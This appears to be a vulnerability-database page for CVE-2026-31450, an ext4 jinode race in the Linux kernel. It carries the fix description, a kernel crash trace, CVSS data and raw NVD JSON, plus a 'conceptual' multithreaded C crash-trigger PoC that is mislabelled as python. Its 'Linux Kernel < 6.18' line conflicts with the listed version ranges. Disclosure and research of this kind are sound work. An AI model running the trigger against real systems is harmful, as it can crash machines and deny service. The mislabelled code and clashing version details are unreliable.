CVE-2026-31450

Description

In the Linux kernel, the following vulnerability has been resolved: ext4: publish jinode after initialization ext4_inode_attach_jinode() publishes ei->jinode to concurrent users. It used to set ei->jinode before jbd2_journal_init_jbd_inode(), allowing a reader to observe a non-NULL jinode with i_vfs_inode still unset. The fast commit flush path can then pass this jinode to jbd2_wait_inode_data(), which dereferences i_vfs_inode->i_mapping and may crash. Below is the crash I observe: ``` BUG: unable to handle page fault for address: 000000010beb47f4 PGD 110e51067 P4D 110e51067 PUD 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 1 UID: 0 PID: 4850 Comm: fc_fsync_bench_ Not tainted 6.18.0-00764-g795a690c06a5 #1 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014 RIP: 0010:xas_find_marked+0x3d/0x2e0 Code: e0 03 48 83 f8 02 0f 84 f0 01 00 00 48 8b 47 08 48 89 c3 48 39 c6 0f 82 fd 01 00 00 48 85 c9 74 3d 48 83 f9 03 77 63 4c 8b 0f <49> 8b 71 08 48 c7 47 18 00 00 00 00 48 89 f1 83 e1 03 48 83 f9 02 RSP: 0018:ffffbbee806e7bf0 EFLAGS: 00010246 RAX: 000000000010beb4 RBX: 000000000010beb4 RCX: 0000000000000003 RDX: 0000000000000001 RSI: 0000002000300000 RDI: ffffbbee806e7c10 RBP: 0000000000000001 R08: 0000002000300000 R09: 000000010beb47ec R10: ffff9ea494590090 R11: 0000000000000000 R12: 0000002000300000 R13: ffffbbee806e7c90 R14: ffff9ea494513788 R15: ffffbbee806e7c88 FS: 00007fc2f9e3e6c0(0000) GS:ffff9ea6b1444000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000010beb47f4 CR3: 0000000119ac5000 CR4: 0000000000750ef0 PKRU: 55555554 Call Trace: <TASK> filemap_get_folios_tag+0x87/0x2a0 __filemap_fdatawait_range+0x5f/0xd0 ? srso_alias_return_thunk+0x5/0xfbef5 ? __schedule+0x3e7/0x10c0 ? srso_alias_return_thunk+0x5/0xfbef5 ? srso_alias_return_thunk+0x5/0xfbef5 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 ? cap_safe_nice+0x37/0x70 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 filemap_fdatawait_range_keep_errors+0x12/0x40 ext4_fc_commit+0x697/0x8b0 ? ext4_file_write_iter+0x64b/0x950 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 ? vfs_write+0x356/0x480 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ext4_sync_file+0xf7/0x370 do_fsync+0x3b/0x80 ? syscall_trace_enter+0x108/0x1d0 __x64_sys_fdatasync+0x16/0x20 do_syscall_64+0x62/0x2c0 entry_SYSCALL_64_after_hwframe+0x76/0x7e ... ``` Fix this by initializing the jbd2_inode first. Use smp_wmb() and WRITE_ONCE() to publish ei->jinode after initialization. Readers use READ_ONCE() to fetch the pointer.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.18 (Specific commit fixes applied)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>

// Conceptual PoC for CVE-2026-31450
// Triggers the race condition in ext4 jinode initialization

const char* filename = "/mnt/ext4_test/poc_file";

void* fast_commit_thread(void* arg) {
    int fd = open(filename, O_RDWR | O_CREAT, 0644);
    if (fd < 0) return NULL;
    char buf[64] = "trigger";
    // Heavy fsync to trigger fast commit flush path
    for (int i = 0; i < 100000; i++) {
        write(fd, buf, sizeof(buf));
        fsync(fd); // Leads to ext4_fc_commit -> jbd2_wait_inode_data
    }
    close(fd);
    return NULL;
}

void* inode_attach_thread(void* arg) {
    // Operations triggering ext4_inode_attach_jinode
    for (int i = 0; i < 100000; i++) {
        int fd = open(filename, O_RDONLY);
        if (fd >= 0) close(fd);
    }
    return NULL;
}

int main() {
    pthread_t t1, t2;
    pthread_create(&t1, NULL, fast_commit_thread, NULL);
    pthread_create(&t2, NULL, inode_attach_thread, NULL);
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31450
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31450
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31450/
[4] VulDB https://vuldb.com/cve/CVE-2026-31450
[5] https://git.kernel.org/stable/c/1aec30021edd410b986c156f195f3d23959a9d11
[6] https://git.kernel.org/stable/c/2d2b648960147d078b000b9a7494017082024366
[7] https://git.kernel.org/stable/c/33f486987af21531a7b18973d11795ede3da9ddd
[8] https://git.kernel.org/stable/c/4855a59e21789c79f003a9b5f4135c95a7495c6b
[9] https://git.kernel.org/stable/c/a070d5a872ffe0e0fe5c46eda6386140ded39adb
[10] https://git.kernel.org/stable/c/be54c0055407a73b60349c093c8ce621cb8fa232
[11] https://git.kernel.org/stable/c/e4325e84727e539c8597bd5b8491349f57f7fb17
[12] https://git.kernel.org/stable/c/e76bcb727e4874a2f9d0297f8e3f8eced89b0764

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31450", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:39.083", "lastModified": "2026-05-06T19:53:42.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: publish jinode after initialization\n\next4_inode_attach_jinode() publishes ei->jinode to concurrent users.\nIt used to set ei->jinode before jbd2_journal_init_jbd_inode(),\nallowing a reader to observe a non-NULL jinode with i_vfs_inode\nstill unset.\n\nThe fast commit flush path can then pass this jinode to\njbd2_wait_inode_data(), which dereferences i_vfs_inode->i_mapping and\nmay crash.\n\nBelow is the crash I observe:\n```\nBUG: unable to handle page fault for address: 000000010beb47f4\nPGD 110e51067 P4D 110e51067 PUD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nCPU: 1 UID: 0 PID: 4850 Comm: fc_fsync_bench_ Not tainted 6.18.0-00764-g795a690c06a5 #1 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014\nRIP: 0010:xas_find_marked+0x3d/0x2e0\nCode: e0 03 48 83 f8 02 0f 84 f0 01 00 00 48 8b 47 08 48 89 c3 48 39 c6 0f 82 fd 01 00 00 48 85 c9 74 3d 48 83 f9 03 77 63 4c 8b 0f <49> 8b 71 08 48 c7 47 18 00 00 00 00 48 89 f1 83 e1 03 48 83 f9 02\nRSP: 0018:ffffbbee806e7bf0 EFLAGS: 00010246\nRAX: 000000000010beb4 RBX: 000000000010beb4 RCX: 0000000000000003\nRDX: 0000000000000001 RSI: 0000002000300000 RDI: ffffbbee806e7c10\nRBP: 0000000000000001 R08: 0000002000300000 R09: 000000010beb47ec\nR10: ffff9ea494590090 R11: 0000000000000000 R12: 0000002000300000\nR13: ffffbbee806e7c90 R14: ffff9ea494513788 R15: ffffbbee806e7c88\nFS: 00007fc2f9e3e6c0(0000) GS:ffff9ea6b1444000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000000010beb47f4 CR3: 0000000119ac5000 CR4: 0000000000750ef0\nPKRU: 55555554\nCall Trace:\n<TASK>\nfilemap_get_folios_tag+0x87/0x2a0\n__filemap_fdatawait_range+0x5f/0xd0\n? srso_alias_return_thunk+0x5/0xfbef5\n? __schedule+0x3e7/0x10c0\n? srso_alias_return_thunk+0x5/0xfbef5\n? srso_alias_return_thunk+0x5/0xfbef5\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\n? srso_alias_return_thunk+0x5/0xfbef5\n? cap_safe_nice+0x37/0x70\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\n? srso_alias_return_thunk+0x5/0xfbef5\nfilemap_fdatawait_range_keep_errors+0x12/0x40\next4_fc_commit+0x697/0x8b0\n? ext4_file_write_iter+0x64b/0x950\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\n? srso_alias_return_thunk+0x5/0xfbef5\n? vfs_write+0x356/0x480\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\next4_sync_file+0xf7/0x370\ndo_fsync+0x3b/0x80\n? syscall_trace_enter+0x108/0x1d0\n__x64_sys_fdatasync+0x16/0x20\ndo_syscall_64+0x62/0x2c0\nentry_SYSCALL_64_after_hwframe+0x76/0x7e\n...\n```\n\nFix this by initializing the jbd2_inode first.\nUse smp_wmb() and WRITE_ONCE() to publish ei->jinode after\ninitialization. Readers use READ_ONCE() to fetch the pointer."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.11.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "D551F379-6F0A-4DEB-8B71-04D5BA144557"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "match ... 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